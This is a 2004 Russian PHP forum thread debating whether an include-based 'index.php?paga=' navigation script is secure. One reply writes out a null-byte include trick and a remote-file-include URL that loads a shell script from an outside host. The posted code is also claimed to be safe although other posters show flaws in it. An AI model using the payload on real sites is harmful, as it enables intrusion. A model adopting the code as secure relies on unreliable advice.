Forum Webscript.Ru

Программирование => PHP => Тема начата: Trinux от 05 Июня 2004, 23:57:51

Название: Система навигации типа index.php?paga=news
Отправлено: Trinux от 05 Июня 2004, 23:57:51
Мы всегда спорим насчет защиты на сайте. Я считаю что такой вид навигации очень надежен, мне не верят... Рассудите нас пожалуйсто... Вот пример того, как я использую этот пример и как я его защищаю...

include "mysql.php";
include "functions.php";
$paga=substr($paga, 0, 10);
$paga=htmlspecialchars($paga, ENT_QUOTES);
$id=substr($id, 0, 3);
$id=htmlspecialchars($id, ENT_QUOTES);
?>



 
   
 
 
   
 
 
   
 

     
   

              $paga=$_GET[\'paga\'];
        $paga=eregi_replace("/","",$paga);
        $paga=eregi_replace("http://","",$paga);

        if(empty($paga))
          include("./pages/news.php");
        elseif(file_exists("./pages/".basename($paga).".php"))
          include("./pages/".basename($paga).".php");
        else {
          $paga="error";
          include("./pages/error.php");
        }
      ?>
   

     
   





Итак... давайте разберемся. Сначала я инклужу mysql и functions, это к делу отношение не имеет. Затем я обрезаю параметры $paga и $id lj 10 и 3 символов соответственно и заменяю все опасные символы (ковычки итп) на их коды. Не помню в какой системе. Зачем? позже объясню...
Далее идут хтмл теги, инклуд шапки и нижней части, а в середину я инклужу параметр $paga. По коду видно, что исходя из параметра, инклудится тот или иной файл из папки /pages/.
Вот и все. А теперь, почему он такой надежный...

1. $paga=$_GET[\'paga\']; тут все ясно. $paga присваевается переменная, переданная ГЕТом.

2. $paga=eregi_replace("/","",$paga);
$paga=eregi_replace("http://","",$paga);
В переменной $paga стираются (заменяются на пустоту) все слеши и "http://". Обычная ошибка - использование не eregi_replace а str_replace. При str_replace заменяются символы в строгом регистре, а в первом случае без учета регистра!
Исходя из этого, внешний инклуд уже не возможен!!! Локальный тоже, т.к. режутся все слеши. Можно также резать точки, но я использую их.

3. if(empty($paga)) проверяется значение на пустоту. Если $зфпф пустая, например в браузере набрано index.php без параметров, то грузится pages/news.php.

4. file_exists("./pages/".basename($paga).".php"). Сначала переменная $paga образается с помощью basename(), долго объяснять, прочтите ман... она выдерает из всей строки только имя конечного файла. Потом проверяется файл на существование. Если его нет, то грузится файл error.php. Если файл существует, то он инклудится.

5. На 4-ом пункте ничего не останавливается =))) Продолжаем. В начале вспомните строчки $paga=substr($paga, 0, 10);... Я рассказывал для чего они. А теперь смотрите!!! Когда мы обращаемся например к конкретной новости, например index.php?paga=news&id=5, то грузится то сначала index.php, а он в самом начале образает переменные $paga и $id, таким образом построев всю систему навигации в одном файле, можно лишь один раз указать какие переменные и как фильтровать и все!!! Вот в чем прелесть!!!

Хочется услышать ваши мнения о данном типе навигации, его недочеты. Может я что-то упустил, укажите пожалуйсто.
Название: Система навигации типа index.php?paga=news
Отправлено: hanslinger от 06 Июня 2004, 05:34:15
Ну и ну...
1. Зачем? Что тебе мешает работать с $_GET[\'paga\']?
2. Во-первых, менять "/" на "" с использованием eregi довольно необычно. Во вторых, если ты используешь в 4. basename, то ЗАЧЕМ ты эти слеши режешь? Сам не пробовал, что получается?
4.
Цитировать
basename(), долго объяснять, прочтите ман...

Прочти его сначала сам и пойми, как эта функция работает.
5. А как ты, например, будешь менять заголовки страниц между тегами ? Неудобно.
Название: Система навигации типа index.php?paga=news
Отправлено: Меняздесьдавнонет от 06 Июня 2004, 06:24:52
Цитировать
Мы всегда спорим

кто это мы?
с тобой тут никто не спорит - ты ростом спорить еще не вышел.
тебе просто указывают, как делать.
Цитировать
Хочется услышать ваши мнения о данном типе навигации

этот вид навигации кривой и тупой.
нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе без этих кошмарных скриптов.
Название: Система навигации типа index.php?paga=news
Отправлено: CGVictor от 06 Июня 2004, 16:03:12
RomikChef
[off]
Цитировать
RomikChef: нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе

А ЧПУ? Что же, и его на свалку?
[/off]
Название: Система навигации типа index.php?paga=news
Отправлено: r0ot от 06 Июня 2004, 16:09:24
CGVictor
что за убогий маленький шрифт :( очень трудно разглядеть на фоне
Название: Система навигации типа index.php?paga=news
Отправлено: Меняздесьдавнонет от 06 Июня 2004, 16:22:45
CGVictor
а при чсем здесь цпу?
не умеешь научить руль вызывать нужный скрипт - так и скажи.
Название: Система навигации типа index.php?paga=news
Отправлено: Trinux от 06 Июня 2004, 21:46:25
Че-то вы ребята бред несете полный!

2 hanslinger
Да, насчет eregi со слешем я поторопился. Хотя нет разницы в этом случае между eregi и str. Обрезаю слеши вместе с basename() потому что а кто его знает, что эти хакеры придумают! Вот например если сделать так
include "$paga.php";
И в строку написать index.php?paga=123.htm%00, то откроется не 123.htm.php, а именно 123.htm!!! И таких уязвимостей полно! А загаловок между титлами - да очень просто. Я лишь привел пример навигации... Чтобы изменить заголовок с помощью этого примера, достаточно использовать классы.

А просто $_GET[\'paga\'] использовать ваще нельзя! Грубейшая ошибка!!! Я пишу строку index.php?paga=http://www.zerkalodeface.narod.ru/rem.php3 и имею скриптовый шелл у вас на сайте!!!

2 RomikChef
Я разве сказал что я с вами спорю??? Или вы думаете что вы единственные программеры на земле?
Цитировать
этот вид навигации кривой и тупой.
нормальные люди для навигации пишут просто - news.php index.php и обходятся вовсе без этих кошмарных скриптов.

Полнейший бред. Твои news.php и index.php... ООП... слышал когданить такую обревеатуру? ООП тут, конечно, непричем, пока классов нет, но меня интерисовала именно навигация. А твая статика - лажа!
Название: Система навигации типа index.php?paga=news
Отправлено: USE от 06 Июня 2004, 22:08:11
Цитировать
Trinux:
ООП... слышал когданить такую обревеатуру? ООП тут, конечно, непричем, пока классов нет, но меня интерисовала именно навигация

Очень смешно ;-) это в хумор надо!
Цитировать
Trinux:
А твая статика - лажа!

что сейчас будет...
Цитировать
Trinux:
всю систему навигации в одном файле

могу себе представить, во что превратится такой файл, когда надо будет сделать более-менее нормальный сайт. удобно будет его редактировать. это точно.
Название: Система навигации типа index.php?paga=news
Отправлено: hanslinger от 06 Июня 2004, 22:09:57
Про basename: а как ты думаешь, что тебе выдаст эта функция, если обрезать слеши? Есть ли смысл ее использовать? По какому, по-твоему, принципу она выдирает этот самый basename? Если я напишу "http://vasya.ru/file.php", то у тебя радостно выползет "http:vasya.rufile.php". Оно тебе надо?
Цитировать

А просто $_GET[\'paga\'] использовать ваще нельзя! Грубейшая ошибка!!! Я пишу строку index.php?paga=http://www.zerkalodeface.narod.ru/rem.php3 и имею скриптовый шелл у вас на сайте!!!

А какие суровые обстоятельства мешают тебе работать с $_GET[\'page\'] вместо твоей $paga? Почему не написать, например,

$_GET[\'page\']=eregi_replace("/","",$_GET[\'page\']);

???

ЗЫ слушай, "обревеатура", как ты связываешь с ООП свои "$pag\'и"? При чем здесь это? Сам-то понимаешь, что говоришь?
Название: Система навигации типа index.php?paga=news
Отправлено: Trinux от 06 Июня 2004, 22:28:02
2 hanslinger
Чесно говоря плохо понимаю. Про basename и слеши че-то я поспешил =) внатуре ерунда.

2 USE
Не умничай. index.php на сайте http://www.soft.dsx.ru занял 186 срок. Он маленький и редактировать его удобно.

2 All
Ну а тогда что??? Что вы предлогаете??? Писать в каждом файле проверку параметров???
Название: Система навигации типа index.php?paga=news
Отправлено: Trinux от 06 Июня 2004, 22:56:29
2 USE
Блин... не туда посмотрел. index.php на soft.dsx.ru занимает 38 строчек.
Название: Система навигации типа index.php?paga=news
Отправлено: Neter от 06 Июня 2004, 23:01:48
А разве нельзя скажем завести файлик в котором хранились бы алиасы с сопоставленными им именами файлов?
Потом парой строк это всё-бы разруливалось. И ненадо никаких резаний слешов, если есть такой алиас, грузим, если нет грузим индекс или говорим об этом.
Trinux Подумай над этим, мне например не очень нравится твой способ сделать глупую нафигацию.
Название: Система навигации типа index.php?paga=news
Отправлено: r0ot от 06 Июня 2004, 23:32:58
2 USE
почему в хумор ? смешного ничего не вижу
Название: Система навигации типа index.php?paga=news
Отправлено: Меняздесьдавнонет от 07 Июня 2004, 00:29:35
в хумор-не в хумор, но с человеком, который несет подобный бред, беседовать не о чем.

все свободны.